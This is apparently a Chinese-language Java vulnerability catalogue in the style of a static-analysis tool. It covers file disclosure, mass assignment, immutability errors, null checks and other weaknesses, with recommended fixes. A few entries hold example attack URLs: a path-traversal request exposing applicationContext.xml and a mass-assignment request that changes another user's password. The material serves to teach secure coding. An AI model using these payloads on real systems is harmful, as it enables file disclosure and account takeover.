默认的 Spring Webflow 视图解析器仅用于允许对 “/WEB-INF/views/” 目录下的 jsp 文件进行解析。
1 | <bean class="org.springframework.web.servlet.view. |
攻击者可以使用如下 URL 查看 applicationContext.xml 文件:“http://www.yourcorp.com/webApp/logic?url=../applicationContext.xml;x=” InternalResourceViewResolver 会携带其配置中包含的前缀,然后连接通过视图属性传递的值,最终加上后缀。 生成的相对 URL“/WEB-INF/views/../applicationContext.xml;x=.jsp”将传递到服务器端请求发送器。其中的分号可允许攻击者将“.jsp”后缀转换为路径参数。此攻击可用于暴露 web app 根目录下的所有文件。
RECOMMENDATIONS
请不要传递不可信任的数据来查看 Spring Webflow 步骤的属性,而应使用介于位置与路径之间的间接方法。请确保使用适当范围的 Spring EL 变量来设置视图属性,并保证这些变量不会允许不可信任的数据传递到系统中。 请不要使用:
< a href="http://www.yourcorp.com/webApp/logic?url=WEB-INF/signup.jsp">New Customer</a>
而应使用:
< a href="http://www.yourcorp.com/webApp/logic?url=newCustomer">New Customer</a>
服务器端逻辑应具有逻辑名称与服务器端路径的映射(以逻辑名称为键),在上例中,键“newCustome”中存储的路径应为“/WEB-INF/signup.jsp”。然后,应将路径值设置为在 Spring Webflow 配置文件中作为视图属性值配置的适当范围的 Spring EL 变量。
REFERENCES
[1] Ryan Berg and Dinis Cruz Two Security Vulnerabilities in the Spring Framework’s MVC
[2] Seth Ladd Expert Spring MVC and Web Flow
[3] Standards Mapping - Common Weakness Enumeration CWE ID 552
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[20] Standards Mapping - Web Application Security Consortium Version 2.00 URL Redirector Abuse (WASC-38)
File Disclosure: Struts
ABSTRACT
若通过用户输入构造服务器端重定向路径,攻击者便能够下载应用程序二进制码(包括应用程序的类或 jar 文件)或者查看受保护的目录下的任意文件。
EXPLANATION
在以下情况下,会发生文件泄露:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个路径。
例 1:下面的代码会接受不可信赖的数据,并使用其构造服务器端转发所使用的路径。
1 | ... |
如果攻击者使用请求参数提供与某个敏感文件位置相匹配的 URL,他们将能够查看该文件。例如,使用 “http://www.yourcorp.com/webApp/logic?returnURL=WEB-INF/applicationContext.xml” 将能够查看该应用程序的 applicationContext.xml 文件。 一旦攻击者掌握了 applicationContext.xml 的信息,他们便能够定位和下载 applicationContext.xml 中引用的其他配置文件,甚至类文件或 jar 文件。这样一来,攻击者将能够获得与应用程序有关的敏感信息,并以之为目标发动其他类型的攻击。
RECOMMENDATIONS
请不要要使用不可信赖的数据请求服务器端资源。而应使用介于位置与路径之间的间接方法。 请不要使用:
< a href="http://www.yourcorp.com/webApp/logic?nextPage=WEB-INF/signup.jsp">New Customer</a>
而应使用:
< a href="http://www.yourcorp.com/webApp/logic?nextPage=newCustomer">New Customer</a>
服务器端逻辑应具有逻辑名称与服务器端路径的映射(以逻辑名称为键),在上例中,键“newCustome”中存储的路径应为“/WEB-INF/signup.jsp”。
REFERENCES
[1] Ryan Berg and Dinis Cruz Two Security Vulnerabilities in the Spring Framework’s MVC
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 552
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[20] Standards Mapping - Web Application Security Consortium Version 2.00 URL Redirector Abuse (WASC-38)
Immutable Classes: Field Mutation
ABSTRACT
该类被注释为不可变,但是字段可变。
EXPLANATION
此类带有来自 JCIP 注释包的“不可变”注释。然而,该类的可变字段之一具有在构造函数和析构函数之外对其进行调用的变化的方法。
示例 1:不可变最终类的下列代码将集声明为 private 和 final,然后错误地创建了改变集的方法。
1 | @Immutable |
RECOMMENDATIONS
所有可变类型的字段(例如,Java Collection 类)必须为 private,并且不能在不可变类的构造函数和析构函数以外进行更新。应删除任何试图改变该字段的类的方法。
REFERENCES
[1] B. Goetz Java Concurrency in Practice. Chapter 3: Sharing Objects Guidelines
[2] Package net.jcip.annotations Specification
[3] MUTABLE-1: Prefer immutability for value types Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 471
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[9] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
Immutable Classes: Non-final Fields
ABSTRACT
该类被注释为不可变,但是字段并非 final。
EXPLANATION
此类带有来自 JCIP 注释包的 Immutable 注释。非最终字段允许更改值,从而违反了类的不可变性。
例 1:不可变最终类的下列代码错误地将字段声明为 public 和非 final。
1 | @Immutable |
RECOMMENDATIONS
不可变类的所有字段都应是最终的。
例 2: 例 1 中的代码应该用以下方式重写:
1 | @Immutable |
REFERENCES
[1] B. Goetz Java Concurrency in Practice. Chapter 3: Sharing Objects Guidelines
[2] Package net.jcip.annotations Specification
[3] OBJ00-J. Limit extensibility of classes and methods with invariants CERT
[4] MUTABLE-1: Prefer immutability for value types Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 471
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[10] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
Immutable Classes: Public Mutable Fields
ABSTRACT
该类被注释为不可变,但是字段可变。
EXPLANATION
此类带有来自 JCIP 注释包的“不可变”注释。可变类型的公共字段允许类的外部代码修改该类的内容和违反其不可变性。
例 1:不可变最终类的下列代码错误地将集声明为 public 和 final。
1 | @Immutable |
RECOMMENDATIONS
因为可变类型的内容(例如,Java Collection 类)不受 final 关键字的保护,所以可变字段必须始终声明为 private。无论什么时候,尽可能把所有成员变量都设置为 private。通过获取方法提供针对 private 成员变量的受控制的访问方式。
例 2: 例 1 中的代码应该用以下方式重写:
1 | @Immutable |
REFERENCES
[1] B. Goetz Java Concurrency in Practice. Chapter 3: Sharing Objects Guidelines
[2] Package net.jcip.annotations Specification
[3] MUTABLE-1: Prefer immutability for value types Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 471
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[9] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
J2EE Bad Practices: getConnection()
ABSTRACT
J2EE 标准禁止对连接实行直接管理。
EXPLANATION
J2EE 标准要求应用程序采用容器的资源管理器工具获取连接资源。
例如,一个 J2EE 应用程序应采用下列方式获取数据库连接:
1 | ctx = new InitialContext(); |
并避免采用下列方式获取连接:
conn = DriverManager.getConnection(CONNECT_STRING);
每个主要的 Web 应用程序容器都提供了数据库连接管理,并将其作为资源管理框架的一部分。在应用程序中重写这个功能,其过程既复杂又容易出错,这也是 J2EE 标准禁止这种行为的原因之一。
RECOMMENDATIONS
应当采用 JNDI 寻找合适的连接代理 (connection factory),来替代直接调用 DriverManager.getConnection(),并从连接代理中获取连接。
REFERENCES
[1] Java 2 Platform Enterprise Edition Specification, v1.4 Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 245
J2EE Bad Practices: Sockets
ABSTRACT
在 Web 应用程序中使用基于套接字的通信往往容易出错。
EXPLANATION
只有在与比较陈旧的系统进行通信时,J2EE 标准才允许 use of sockets,因为此时没有较高高级别的协议可用。自己编写通信协议将需要解决许多安全上的问题,包括:
— 输入信号与输出信号的比较
— 协议版本间的兼容性
— 通道安全
— 错误处理
— 网络限制(防火墙)
— 会话管理
若不经过安全专家的详细审查,自定义的通信协议将面临诸多安全隐患。
在自定义标准协议的应用过程中,也会碰到许多同样的问题。通常有很多可用的资源都可以解决与标准协议相关的各种安全问题,然而,攻击者也能获取这些资源。
RECOMMENDATIONS
应使用行业标准协议或框架来替代自定义的通讯协议。您首先应考虑是否可以使用现有协议,如 HTTP、FTP、SMTP、CORBA、RMI/IIOP、EJB 或 SOAP。
对于选择的协议实现方法,应考虑对其安全进行跟踪记录。
REFERENCES
[1] Java 2 Platform Enterprise Edition Specification, v1.4 Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 246
Mass Assignment: Insecure Binder Configuration
ABSTRACT
用于将 HTTP 请求参数绑定到模型类的框架绑定器未明确配置为允许或禁止特定属性
EXPLANATION
为了简化开发并提高生产率,大多数现代框架允许自动实例化一个对象,并使用其名称与要绑定的类的属性相匹配的 HTTP 请求参数填充该对象。 对象的自动实例化和填充加快了开发速度,但如果不谨慎实施,则会导致严重的问题。 绑定类或嵌套类中的任何属性都将自动绑定到 HTTP 请求参数。 因此,恶意用户能够为绑定类或嵌套类中的任何属性分配值,即使这些属性未通过 Web 表单或 API 合约向客户端公开也是如此。
示例 1: 在没有额外配置的情况下使用 Spring WebFlow,以下操作会将 HTTP 请求参数绑定到
Booking 类中的任何属性:
1 | <view-state id="enterBookingDetails" model="booking"> |
其中,Booking 类定义为:
1 | public class Booking implements Serializable { |
RECOMMENDATIONS
当使用提供自动模型绑定功能的框架时,最佳做法是控制将哪些属性绑定到模型对象,这样,即使攻击者找出模型或嵌套类的其他未公开属性,他们也无法通过 HTTP 请求参数绑定任意值。
示例 2: Spring 模型绑定器 (3.x) 配置为禁止绑定敏感属性:
1 | <view-state id="enterBookingDetails" model="booking"> |
通过控制哪些属性公开,攻击者无法将任意值绑定到酒店的属性,例如更改房间的价格。
防止出现批量分配漏洞的另一方法是使用将 HTTP 请求参数绑定到 DTO 对象的分层体系结构。 DTO 对象仅用于该目的,仅公开 Web 表单或 API 合约中定义的那些属性,然后将这些 DTO 对象映射到可以定义其余私有属性的域对象。
REFERENCES
[1] OWASP Mass assignment
[2] Pivotal Spring MVC Known Vulnerabilities and Issues
[3] Standards Mapping - Common Weakness Enumeration CWE ID 915
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001082, CCI-002754
[5] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.2 Input Validation Requirements
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[10] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[11] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[12] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[13] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[32] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
Mass Assignment: Request Parameters Bound into Persisted Objects
ABSTRACT
如果允许使用请求参数自动填充数据库持久实体,攻击者将能够在中间实体中创建计划外的数据库记录,或者更新实体对象中的计划外字段。
EXPLANATION
持久对象通常绑定到底层数据库,并由持久性框架(如 Hibernate 或 JPA)自动更新。如果允许这些对象自动绑定到 Spring MVC 的请求,攻击者将能够通过提供附加的请求参数向数据库中注入非预期的值。 例 1:Order、Customer 和 Profile 都是 Hibernate 持久类。
1 | public class Order { |
OrderController 是处理该请求的 Spring 控制器类:
1 | @Controller |
因为命令类会自动绑定到该请求,所以利用这一漏洞,攻击者可以通过在该请求中添加如下请求参数来更新其他用户的密码:“http://www.yourcorp.com/webApp/updateOrder?order.customer.profile.profileId=1234&order.customer.profile.password=urpowned”
RECOMMENDATIONS
请不要使用持久实体对象作为请求绑定对象。应手动将请求绑定对象中需要持久保留的属性复制到持久实体对象。或者,应明确定义请求绑定对象中可以通过请求参数设置的属性。
REFERENCES
[1] Ryan Berg and Dinis Cruz Two Security Vulnerabilities in the Spring Framework’s MVC
[2] Standards Mapping - Common Weakness Enumeration CWE ID 915
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[6] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[7] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[8] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[18] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
Missing Check against Null
ABSTRACT
程序会间接引用一个空指针,因为它不对有可能返回 Null 的函数返回值进行检查。
EXPLANATION
几乎每一个对软件系统的严重攻击都是从违反程序员的假设开始的。攻击后,程序员的假设看起来既脆弱又拙劣,但攻击前,许多程序员会在午休时间为自己的种种假设做很好的辩护。
在代码中很容易发现的两个可疑的假设是:一是这个函数调用不可能出错;二是即使出错了,也不会对系统造成什么重要影响。当程序员忽略函数返回值时,就暗示着自己是基于上述任一假设来执行操作。
例 1:以下代码在调用成员函数 compareTo() 之前,不会检查 getParameter() 返回的字符串是否为 null,因此可能会造成 null dereference。
1 | String itemName = request.getParameter(ITEM_NAME); |
例 2:以下代码显示了这样一个例子,一个系统属性被设置为了 null,随后间接引用它的程序员错误地认为该属性值是已定义的。
1 | System.clearProperty("os.name"); |
对于这种编码错误的一贯辩解是:
“我知道请求值总是存在的,因为如果值不存在,程序就不能执行所需的操作,那么无论我处理这个错误,还是只是让程序自行崩溃而间接引用 Null 值,都没有关系。
但是,攻击者对于发现程序中的意外情况十分在行,特别是发生异常时。
RECOMMENDATIONS
如果函数返回错误代码或其他任何有关运行成功或失败的证据,请务必检查错误状况,即便没有任何明显迹象表明会发生这种错误。除了避免安全错误,许多乍看上去难以理解的 bug 最后都会归结为错误的方法调用,并带有 unchecked return value。
在您的应用程序中创建一种便于使用的、标准的处理故障方法。如果错误处理过程简单直接,往往不容易被程序员忽略。一种标准化的错误处理方法是,将围绕检查和处理错误状况的常用函数写入封装器,而无需程序员的其他干预。实施并采用封装器后,就可以禁止使用未封装的函数,并利用自定义规则加以执行。
例 3:以下代码对 getParameter() 执行了一个封装方法,用以检查 getParameter() 的返回值是否为 null,并且在所需参数没有定义时是否使用了默认值。
1 | String safeGetParameter (HttpRequest request, String name) |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 253, CWE ID 690
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[3] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[5] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP6080 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[15] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[16] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Missing Check for Null Parameter
ABSTRACT
函数必须检查其参数是否为 null,当前函数违反了这一规定。
EXPLANATION
Java 标准指出,实现 Object.equals()、Comparable.compareTo() 和 Comparator.compare() 方法时,如果其参数为 null,则必须返回一个指定值。不遵守该规定可能会导致发生意外的行为。
例 1:以下代码实现了 equals() 方法,但没有检查参数是否为 null。
1 | public boolean equals(Object object) |
RECOMMENDATIONS
请遵守以下规定:当方法 Object.equals() 接受一个 null 参数时,必须返回 null。
例 2:前面的示例已经过重写,以明确地检查是否存在 null 参数,如果存在则函数会返回 false。
1 | public boolean equals(Object object) |
REFERENCES
[1] MET10-J. Follow the general contract when implementing the compareTo() method CERT
[2] MET08-J. Preserve the equality contract when overriding the equals() method CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 398
Object Model Violation: Erroneous clone() Method
ABSTRACT
方法 clone() 应调用 super.clone() 获取新的对象。
EXPLANATION
在所有实现 clone() 的方法中,应通过调用 super.clone() 来获取新对象。如果类没有遵守该约定,那么子类的 clone() 方法将会返回一个错误的对象类型。
例 1:以下两个类显示了由于没有调用 super.clone() 而产生的 bug。由于 Kibitzer 实现 clone() 的方法的缘故,FancyKibitzer 的克隆方法将会返回类型为 Kibitzer 而非 FancyKibitzer 的对象。
1 | public class Kibitzer implements Cloneable { |
RECOMMENDATIONS
务必通过调用 super.clone() 来获取新对象。通过 java.lang.Object 实现 clone(),会总返回类型正确的对象。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public class Kibitzer implements Cloneable { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 580
Object Model Violation: Just one of equals() and hashCode() Defined
ABSTRACT
这个类仅替代了 equals() 和 hashCode() 中的一个。
EXPLANATION
Java 对象预期执行一系列与等式相关的不变式。其中的一个常量是相同的对象必须具有相同的哈希码。换句话说,如果 a.equals(b) == true,那么 a.hashCode() == b.hashCode()。
如果未能支持这一常量,当此类对象存储在一个集合中时,可能就会引发一些问题。如果将这个类的对象用作哈希表的关键值或是插入到一个 Map 或者 Set 中,那么相等的对象要具有相等的哈希码,这一点十分重要。
例 1:下面的类重写了 equals(),但没有重写 hashCode()。
1 | public class halfway() { |
RECOMMENDATIONS
FindBugs 文档推荐了以下 hashCode() 的简单的“starter”实现方法 [1]。这个方法效率极低,但是会产生正确的结果。如果您不相信 hashCode() 对程序的重要性,请考虑使用这种实现方法。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public class halfway() { |
REFERENCES
[1] D. H. Hovermeyer FindBugs User Manual
[2] MET09-J. Classes that define an equals() method must also define a hashCode() method CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 581
Object Model Violation: Just one of restoreState() and saveState() Defined
ABSTRACT
这个类仅替代了 saveState() 和 restoreState() 中的一个。
EXPLANATION
任何继承 StateHolder 接口的类都必须同时实施 saveState(javax.faces.context.FacesContext) 和 restoreState(javax.faces.context.FacesContext, java.lang.Object),或者同时都不实施。由于这两种方法关系密切,因此,saveState(javax.faces.context.FacesContext) 和 restoreState(javax.faces.context.FacesContext, java.lang.Object) 方法不得驻留在继承层次结构的不同级别中。
以下类定义了 saveState(),但未定义 restoreState(),因此,无论扩展到何种类, 它始终会出错。
1 | public class KibitzState implements StateHolder { |
RECOMMENDATIONS
同时实施此类中的 saveState(javax.faces.context.FacesContext) 和 restoreState(javax.faces.context.FacesContext, java.lang.Object),或者同时都不实施。上述示例中的代码可以通过实施 restoreState() 解决。
1 | public class KibitzState implements StateHolder { |
REFERENCES
[1] Sun Microsystems JavaDoc for StateHolder Interface
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
Often Misused: Android Permission Check
ABSTRACT
应慎重使用 checkCallingOrSelfPermission() 或 checkCallingOrSelfUriPermission() 函数,因为它允许没有所需或任何权限的调用程序利用您应用程序的权限来绕过权限检查。
EXPLANATION
函数 checkCallingOrSelfPermission() 或 checkCallingOrSelfUriPermission() 用来判定调用程序是否具备访问某个服务或给定 URI 所需的权限。但是,由于此类函数可允许缺乏相应权限的恶意应用程序利用您应用程序的权限进行访问,因而应慎重使用。
这意味着没有相应权限的恶意应用程序可以利用您应用程序的权限来避开它的权限检查,以获得对本应拒绝其访问的资源的访问。这可能导致所称的混淆代理人攻击。
RECOMMENDATIONS
因此,应尽可能使用 checkCallingPermission() 或 checkCallingUriPermission()。
REFERENCES
[1] Designing for Security Android
[2] Context: Android Developers Android
[3] Standards Mapping - Common Weakness Enumeration CWE ID 275
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[9] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[10] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[17] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Often Misused: Authentication
ABSTRACT
攻击者可以欺骗 DNS 条目。勿将 DNS 名称作为安全性的依据。
EXPLANATION
许多 DNS 服务器都很容易被攻击者欺骗,所以应考虑到某天软件有可能会在有问题的 DNS 服务器环境下运行。如果允许攻击者进行 DNS 更新(有时称为 DNS 缓存中毒),则他们会通过自己的机器路由您的网络流量,或者让他们的 IP 地址看上去就在您的域中。勿将系统安全寄托在 DNS 名称上。
示例:以下代码使用 DNS 查找,以确定输入请求是否来自可信赖的主机。如果攻击者可以攻击 DNS 缓存,那么他们就会获得信任。
1 | String ip = request.getRemoteAddr(); |
